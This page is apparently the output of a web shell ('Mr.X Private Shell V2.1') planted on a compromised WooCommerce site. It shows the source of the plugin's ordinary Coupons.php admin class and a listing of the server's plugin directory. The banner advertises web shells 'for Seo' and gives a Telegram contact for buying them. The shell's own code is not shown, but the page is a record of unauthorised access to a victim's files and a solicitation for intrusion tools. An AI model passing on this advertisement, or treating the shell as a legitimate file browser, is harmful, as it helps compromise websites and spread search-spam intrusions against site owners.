__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* WooCommerce Marketing > Coupons.
*/
namespace Automattic\WooCommerce\Internal\Admin;
use Automattic\WooCommerce\Admin\Features\Features;
use Automattic\WooCommerce\Admin\PageController;
/**
* Contains backend logic for the Coupons feature.
*/
class Coupons {
use CouponsMovedTrait;
/**
* Class instance.
*
* @var Coupons instance
*/
protected static $instance = null;
/**
* Get class instance.
*/
public static function get_instance() {
if ( ! self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Hook into WooCommerce.
*/
public function __construct() {
if ( ! is_admin() ) {
return;
}
// If the main marketing feature is disabled, don't modify coupon behavior.
if ( ! Features::is_enabled( 'marketing' ) ) {
return;
}
// Only support coupon modifications if coupons are enabled.
if ( ! wc_coupons_enabled() ) {
return;
}
add_action( 'admin_enqueue_scripts', array( $this, 'maybe_add_marketing_coupon_script' ) );
add_action( 'woocommerce_register_post_type_shop_coupon', array( $this, 'move_coupons' ) );
add_action( 'admin_head', array( $this, 'fix_coupon_menu_highlight' ), 99 );
add_action( 'admin_menu', array( $this, 'maybe_add_coupon_menu_redirect' ) );
}
/**
* Maybe add menu item back in original spot to help people transition
*/
public function maybe_add_coupon_menu_redirect() {
if ( ! $this->should_display_legacy_menu() ) {
return;
}
add_submenu_page(
'woocommerce',
__( 'Coupons', 'woocommerce' ),
__( 'Coupons', 'woocommerce' ),
'manage_options',
'coupons-moved',
array( $this, 'coupon_menu_moved' )
);
}
/**
* Call back for transition menu item
*/
public function coupon_menu_moved() {
wp_safe_redirect( $this->get_legacy_coupon_url(), 301 );
exit();
}
/**
* Modify registered post type shop_coupon
*
* @param array $args Array of post type parameters.
*
* @return array the filtered parameters.
*/
public function move_coupons( $args ) {
$args['show_in_menu'] = current_user_can( 'manage_woocommerce' ) ? 'woocommerce-marketing' : true;
return $args;
}
/**
* Undo WC modifications to $parent_file for 'shop_coupon'
*/
public function fix_coupon_menu_highlight() {
global $parent_file, $post_type;
if ( $post_type === 'shop_coupon' ) {
$parent_file = 'woocommerce-marketing'; // phpcs:ignore WordPress.WP.GlobalVariablesOverride
}
}
/**
* Maybe add our wc-admin coupon scripts if viewing coupon pages
*/
public function maybe_add_marketing_coupon_script() {
$curent_screen = PageController::get_instance()->get_current_page();
if ( ! isset( $curent_screen['id'] ) || $curent_screen['id'] !== 'woocommerce-coupons' ) {
return;
}
WCAdminAssets::register_style( 'marketing-coupons', 'style' );
WCAdminAssets::register_script( 'wp-admin-scripts', 'marketing-coupons', true );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Agentic | Folder | 0775 |
|
|
| BlockTemplates | Folder | 0775 |
|
|
| EmailImprovements | Folder | 0775 |
|
|
| EmailPreview | Folder | 0775 |
|
|
| Emails | Folder | 0775 |
|
|
| ImportExport | Folder | 0775 |
|
|
| Logging | Folder | 0775 |
|
|
| Marketing | Folder | 0775 |
|
|
| Notes | Folder | 0775 |
|
|
| Onboarding | Folder | 0775 |
|
|
| Orders | Folder | 0775 |
|
|
| ProductForm | Folder | 0775 |
|
|
| ProductReviews | Folder | 0775 |
|
|
| RemoteFreeExtensions | Folder | 0775 |
|
|
| Schedulers | Folder | 0775 |
|
|
| Settings | Folder | 0775 |
|
|
| Suggestions | Folder | 0775 |
|
|
| WCPayPromotion | Folder | 0775 |
|
|
| ActivityPanels.php | File | 1.58 KB | 0664 |
|
| Analytics.php | File | 11.73 KB | 0664 |
|
| CategoryLookup.php | File | 7.99 KB | 0664 |
|
| Coupons.php | File | 2.86 KB | 0664 |
|
| CouponsMovedTrait.php | File | 2.15 KB | 0664 |
|
| CustomerEffortScoreTracks.php | File | 17.65 KB | 0664 |
|
| Events.php | File | 8.56 KB | 0664 |
|
| FeaturePlugin.php | File | 6.53 KB | 0664 |
|
| Homescreen.php | File | 8.65 KB | 0664 |
|
| Loader.php | File | 19.18 KB | 0664 |
|
| Marketing.php | File | 6.29 KB | 0664 |
|
| Marketplace.php | File | 3.89 KB | 0664 |
|
| MobileAppBanner.php | File | 956 B | 0664 |
|
| RemoteInboxNotifications.php | File | 932 B | 0664 |
|
| Settings.php | File | 13.25 KB | 0664 |
|
| ShippingLabelBanner.php | File | 4.67 KB | 0664 |
|
| ShippingLabelBannerDisplayRules.php | File | 3.63 KB | 0664 |
|
| SiteHealth.php | File | 2.31 KB | 0664 |
|
| Survey.php | File | 768 B | 0664 |
|
| SystemStatusReport.php | File | 5.85 KB | 0664 |
|
| Translations.php | File | 11.66 KB | 0664 |
|
| WCAdminAssets.php | File | 17.58 KB | 0664 |
|
| WCAdminSharedSettings.php | File | 2.08 KB | 0664 |
|
| WCAdminUser.php | File | 5.26 KB | 0664 |
|
| WcPayWelcomePage.php | File | 6.33 KB | 0664 |
|